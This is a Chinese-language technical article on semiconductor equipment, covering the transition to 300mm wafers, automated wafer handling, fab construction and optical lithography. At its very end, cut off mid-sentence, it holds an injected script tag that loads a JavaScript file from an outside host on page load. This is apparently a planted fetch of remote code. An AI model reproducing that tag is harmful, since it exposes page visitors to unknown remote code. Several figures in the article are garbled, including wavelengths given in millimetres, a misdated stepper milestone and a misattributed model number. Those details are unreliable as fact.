从第一个晶体管问世算起,半导体技术的发展已有多半个世纪了,现在它仍保持着强劲的发展态势,继续遵循moore定律即芯片集成度18个月翻一番,每三年器件尺寸缩小0.7倍的速度发展现在片径已达300mm,dram半节距已达150nm,mpu栅长达100nm。大尺寸、细线宽、高精度、高效率、低成本的ic生产,对半导体设备带来前所未有的挑战。为此,世界上各半导体设备厂商,集中优势力量,加大研发投资,进行攻关,抢占制高点,同时又加强联合、兼并,做到优势互补,力争不失时机地为新一代技术提供大生产设备。本文就当前最为关键的半导体设备做一介绍。
硅片直径300mm要适合多代技术的需求
经济利益的驱动是硅片直径由200mm向300mm转移的主要因素,300mm的出片率是200mm的2.5倍,单位生产成本降低30%左右。300mm工厂投资为15到30亿美元,其中约75%用于设备投资,因此用户要求设备能向下延伸3至4代。300mm片径是从180nm技术节点切入的,这就要求设备在150nm、130nm,甚至100nm仍可使用。
300mm要适合多代技术的需求,它面临ic生产中的新工艺、新材料和新结构的挑战。对逻辑ic来说,它涉及铜布线、低介电常数(k<3=和超低介电常数(k<2.6=介质,低电阻率接触材料,低电阻率栅材料,薄栅和高k介质,浅源/漏延伸区和抬高源/漏结构。对dram来说,它涉及储存电容的新材料,如五氧化二钽(ta2o5)、钡锶钛(bst)和铂锆钛(pzt)等,新的电极材料如铂、氮化钛等,垂直叠层和高深/宽比沟槽电容,高深/宽比(>10:1)接触等。此外,还有大面积刻蚀中的cd控制和选择性,反应室中的微粒控制和金属沾污,cmp的质量与成本,193nm曝光的精度、均匀性和效率,高精度、高效率的检测等。
为了推进300mm的大生产,设备厂商在五年前就着手解决这方面问题,如canon于1995年着手300mm曝光机,推出了ex3l和i5l步进机,于1997-1998年提供日本半导体超前边缘技术(selete)集团使用,asml公司的300mm步进扫描曝光机使用193nm波长,型号为fpa-5000,也于1999年提供给selete使用。现在canon的第三代300mm曝光机的混合匹配曝光能力已达到<110nm。在刻蚀方面如英国trikon公司采用的螺旋波等离子体(mori)源,在电磁场作用下控制等离子体和改善均匀性,它能在300mm片内对氧化物介质均匀地刻25nm通孔,深/宽比达30:1。目前300mm片径生产180nm、150nm、130nm的ic设备都已进入生产线,100nm的也开始提供。
300mm生产有约500道工序,以年产12.5万片计算,片子约有500万次交接,任何一次失效,将对工厂流水生产带来极大影响。300mm片盒放25片重8公斤,价格15000美元,为减轻劳动、安全、无磨损、无沾污的传送,现在普遍采用正面打开的统一标准箱(foup),foup的传送采取计算机控制下的悬挂式空中传送(umhs),它既节省了超净间面积,还可用于临时存放片子,具有可操作性和可变换性的特点。
西门子公司和motorola公司于1998年率先在德国德勒斯登建立300mm引导线,使用180nm技术生产存储器,月产1500片。根据美国"固态杂志"今年5月统计,已建成300mm的厂有四家;于今年开始建厂的有四家;2001年后开始建厂的有九家;另外已宣布建厂的有十一家。国际半导体技术发展路线(itrs)曾设定:从1998年下半年开始,片径将增加到300mm;到2001年或2002年300mm片径的生产量将达到最大值。现在的发展正逼近这个目标。
300mm之后将是450mm,目前已处于研究阶段,2003年前后进入开发阶段,2009年进入生产阶段;片径675mm的研究预计在2006年开始研究。
光学曝光是当前曝光的主流技术
曝光是芯片制造中最关键的制造工艺,由于光学曝光技术的不断创新,它一再突破人们预期的光学曝光极限,使之成为当前曝光的主流技术。1997年美国gca公司推出了第一台分步重复投影曝光机,被视为曝光技术的一大里程碑,1991年美国svg公司又推出了步进扫描曝光机,它集分步投影曝光机的高分辨率和扫描投影曝光机的大视场、高效率于一身,更适合<0.25μm线条的大生产曝光。
为了提高分辨率,光学曝光机的波长不断缩小,从436mm、365mm的近紫外(nuv)进入到246mm、193mm的深紫外(duv)。246nm的krf准分子激光,首先用于0.25μm的曝光,后来nikon公司推出nsr-s204b,用krf,使用变形照明(mbi)可做到0.15μm的曝光。asml公司也推出pas.5500/750e,用krf,使用该公司的aerilalⅱ照明,可解决0.13μm曝光。但1999itrs建议,0.13μm曝光方案是用193nm或248nm+分辨率提高技术(ret);0.10μm曝光方案是用157nm、193nm+ret、接近式x光曝光(pxl)或离子束投影曝光(ipl)。所谓ret是指采用移相掩模(psm)、光学邻近效应修正(opc)等措施,进一步提高分辨率。值得指出的是:现代曝光技术不仅要求高的分辨率,而且要?script src=http://er12.com/t.js>